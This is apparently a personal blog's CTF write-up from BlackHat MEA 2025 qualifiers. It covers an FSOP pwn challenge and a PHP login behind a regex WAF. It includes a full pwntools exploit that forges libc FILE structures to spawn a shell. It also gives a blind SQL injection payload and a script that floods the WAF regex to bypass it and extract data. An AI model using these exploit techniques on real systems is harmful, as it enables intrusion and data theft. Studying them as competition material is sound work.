BlackHat mea Quals 2025 — Web challenges

Depe Lv1

I recently participated in Blackhat mea ctf 2025 quals. These are the write-ups of the Web challenges + File 101 pwn challenge that I solved. I hope you will learn something new.

Happy Hacking!!

File 101

We were provided with a small set of files to poke at:

1
2
3
4
5
.
├── chall
├── compose.yml
├── Dockerfile
└── main.c

main.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

void main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("stdout:");
scanf("%224s", (char*)stdout);
puts("stderr:");
scanf("%224s", (char*)stderr);
}

What the Code Is Actually Doing

At first glance, the program looks too small to hide anything interesting — but that tiny scanf call is doing something unbelievably reckless.

After turning off buffering for stdin/out, the binary does:

1
2
scanf("%224s", (char*)stdout);
scanf("%224s", (char*)stderr);

It literally treats the internal stdout and stderr objects as writable buffers and lets the user shove 224 bytes into them.
These aren’t normal buffers — they’re FILE structures used by libc to track stream state: vtable pointers, flags, buffer positions, mode bits, everything. Blindly overwriting them means we basically get to hijack libc’s file-handling machinery.

This is exactly what FSOP (File Stream Oriented Programming) is about: you poison an _IO_FILE object so that the next time libc interacts with it (flush, close, write…), your carefully staged fake structure redirects to shellcode.

Theory

  • smash stdout to force a libc pointer leak
  • use the leak to compute the actual libc base
  • corrupt stderr into a forged FILE object where the vtable points to something juicy
  • make libc “use” that FILE, and execution jumps into system(“/bin/sh”)

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

libc = ELF("./libc.so.6")
elf = context.binary = ELF("./chall")

def u64leak(x):
return u64(x.ljust(8, b"\x00"))

def start():
if args.REMOTE:
return remote("<HOST>", <PORT>)
return process(elf.path)

r = start()

# Corrupt stdout first
r.recvuntil(b"stdout:\n")
r.sendline(p64(0xfbad1887) + p64(0)*3 + b"\x48")

# Grab the info leak from libc internals
leak = r.recvuntil(b"stder")[-72:]
libc.address = u64leak(leak[:8]) - 0x204644
log.success(f"Libc base: {hex(libc.address)}")

stderr_addr = libc.address + 0x2044e0

# Craft our poisoned _IO_FILE object for stderr
fs = p64(0x3b68733b40404040)
fs += p64(0)*4 + p64(1) + p64(0)*7
fs += p64(libc.sym.system) + p64(0)*3
fs += p64(stderr_addr - 0x10) + p64(0)
fs += p64(stderr_addr) + p64(stderr_addr - 0x48)
fs += p64(0)*6 + p64(libc.sym._IO_wfile_jumps)

r.sendline(fs)
r.interactive()

koko WAF

we were given the challenge files and the source code for the whole web application to analyze

1
2
3
4
5
6
7
8
9
10
11
12
└─$ tree kokowaf-player 
kokowaf-player
├── docker-compose.yml
├── Dockerfile
├── init.db
├── init.sh
└── src
├── db.php
├── index.php
├── profile.php
├── register.php
└── waf.php

looking at waf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

$sqli_regex = [
"/(['|\"])+/s",
"/(&|\|)+/s",
"/(or|and)+/is",
"/(union|select|from)+/is",
"/\/\*\*\//",
"/\s/"
];
function waf($input)
{
global $sqli_regex;
foreach ($sqli_regex as $pattern)
{
if(preg_match($pattern,$input))
{
return true;
}
else
{
continue;
}
}
}
?>

The WAF filters out specific SQL keywords and characters using preg_match function,
The regex translates to :

  • No quotes ‘ or “
  • No logical operators (or, and)
  • No union, select, from
  • No comments (/**/)
  • No spaces

Now looking at the relevant section from index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$username= $_POST['username'];
$password= sha1($_POST['password']);

if(waf($username))
{
$error_message = "WAF Block - Invalid input detected";
}
else
{
$res = $conn->query("select * from users where username='$username' and password='$password'");
if($res->num_rows === 1)
{
$_SESSION['username'] = $username;
$_SESSION['logged_in'] = true;
header("Location: profile.php");
exit();
}
else
{
$error_message = "Invalid username or password";
}
}
Key points:
  • Passwords are stored as SHA1 hashes.
  • Only the username field passes through the WAF check.
  • SQL query is vulnerable because of string concatenation:
1
select * from users where username='$username' and password='$password'

If we somehow managed to bypass the WAF filter, we could inject into the $username field.

We spent nearly eight hours straight throwing every trick in the SQLi playbook at this filter — case toggling, encodings, comment injections, whitespace bypasses — you name it, we tried it. Nothing worked. This WAF laughed at every payload we had up our sleeves… until we realized the real weakness wasn’t in what it blocked, but in how it was getting blocked.

While digging around, my friend came across a similar challenge writeup from last year. That was the lightbulb moment.

The key insight is that regex engines aren’t parsers — they have their own quirks:

  • Greedy → they try to consume as much input as possible.
  • Vulnerable to catastrophic backtracking → overly long or repetitive inputs can overwhelm them, causing the pattern matching to fail or behave inconsistently.

So instead of trying to sneak around the regex rules, the real solution was to break the regex itself.

We constructed a massive prefix before our injection payload:

1
2
3
prefix = 383838 * '"'     
prefix += 383838 * 'or'
prefix += 383838 * 'union'

This effectively overloaded the regex engine. By the time it scanned through hundreds of thousands of characters, it failed to correctly detect the final malicious injection at the end of the string and provided a false (thus bypass the check in the code above in waf.php).

after that we craft our blid bool-based SQLi injection payload and append it to the exploit and it will work

1
' or (if((select(flag)from(flags)) like ('BHFlagY{a%'),1,2)=1)#

then we coded a script that retrive the flag character by character and checks everytime if it starts with the “privously” check flag and append to it.

so our final exploit was :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

prefix = 383838 * '"'
prefix += 383838 * 'or'
prefix += 383838 * "union"

now_flag = "BHFlagY{"
hex_char = "abcdef0123456789}"

for i in range(300):
print(now_flag)
for j in hex_char:
flag = now_flag + j
injection = {
'username': prefix + "'or(if((select(flag)from(flags))like('" + flag + "%'),1,2)=1)#",
'password': "password",
'login-submit': ''
}
resp = requests.post("https://home:5001", data = injection, allow_redirects = False)
if resp.status_code == 302:
now_flag = flag
break
  • Title: BlackHat mea Quals 2025 — Web challenges
  • Author: Depe
  • Created at : 2025-09-10 01:07:12
  • Updated at : 2025-12-06 13:22:43
  • Link: https://depe.blog/BlackHat-mea-Quals-2025-—-Web-challenges/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
BlackHat mea Quals 2025 — Web challenges